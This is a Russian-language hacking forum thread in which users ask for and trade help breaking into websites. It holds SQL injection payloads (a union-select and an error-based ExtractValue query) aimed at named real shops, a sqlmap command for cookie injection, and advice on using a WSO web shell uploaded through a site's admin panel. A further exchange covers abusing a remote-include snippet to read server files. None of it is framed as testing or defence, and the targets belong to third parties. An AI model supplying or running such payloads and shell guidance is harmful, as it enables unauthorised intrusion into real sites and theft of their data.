Ваши вопросы по уязвимостям.

неполучается стянуть, или тут он не работает?)

 

Code:

http://www..**********/pixsell/imageview.php?id=392751  union/*!select*/  (1),(2),(user()),(4),(5),(6),(7),(8),(9),(10),(11),(12)

 

Ребят подскажите как через wso шелл создать бд

 

во вкладке [SQL] вводишь данные для подключения к БД, там появляется консоль, в ней уже вводишь команды для создание БД, почитай справочник _ttp://www.mysql.ru/docs/man/Database_use.html полезно будет!

 

_http://www.moysvet.ru/catalog/view/118876' помогите раскрутить, всю голову сломал уже.

 

http://www.moysvet.ru/catalog/view/118876'or(ExtractValue(1,concat(0x3a,(select(version())))))='1

 

Помогите раскрутить скулю

 

Есть участок кода на чужом сайте:

Code:

<?php
$data=file_get_contents("http://site.ru");
echo $data;
?>

Содержимое http://site.ru я могу редактировать, то есть в переменной $data подконтрольный текст и он выводится на стороннем сайте.

Какая тут уязвимость, возможно ли выполнение произвольного кода или создание php файла на сервере или тут только XSS?


.

 

Можешь попробовать заюзать как локальную читалку! eval реализовать не получится, так как вывод через echo $data;
Ищи конфиги БД и пробуй подключиться!

 

Сайт без БД, то есть код выполнить никак нельзя?

Если говорить точнее то вывод идет через:

Code:

$GLOBALS['_RESULT']=array( "otvet" => "тут строка моя" ); exit;

Вывод подхватывается JS и выводится на сайте.

 

тогда ищи уязвимости в функциях и пробуй их реализовать, можно еще попробовать сайты соседей посмотреть...

 

Помогите составить запрос в sqlmap на sql inj cookie
sqlmap.py -u "http://site:.com/index.php" --cookie="cacheSession=*" --random-agent --level=2 --risk=1
верно? Он то показывает блинд , то нет

 

допустим через админку я залил шелл, ввел данные для подключения к БД данного сайта, зашел, появилась консоль в ней я могу создать новую базу данных(чистую) не затрагивая уже существующую и создать на серваке еще один сайт?

 

Помогите раскрутить

HTML:

http://www.svetodom.ru/brand/jhkhjkhjk
http://www.svetodom.ru/brand/jhkhjkhjk+AND

 

Br@!ns, еще добавлю, что нынче модно использовать короткие запросы. Вот еще для изучения пару векторов с выводом через error-based (VolgaCTF::MySQL Game):

 

Подскажите плиз

залил шелл, ввел данные для подключения к БД данного сайта, зашел, появилась консоль в ней я могу создать новую базу данных(чистую) не затрагивая уже существующую и создать на серваке еще один сайт?

 

нет...

 

Инъекция в INSERT. Вывод ошибок есть. Пытаюсь использовать error based вектор, но таблицы в которую происходит INSERT на сервере нету.
Можно ли такое раскрутить?

 

База на другом сервере ----> ничего не получится.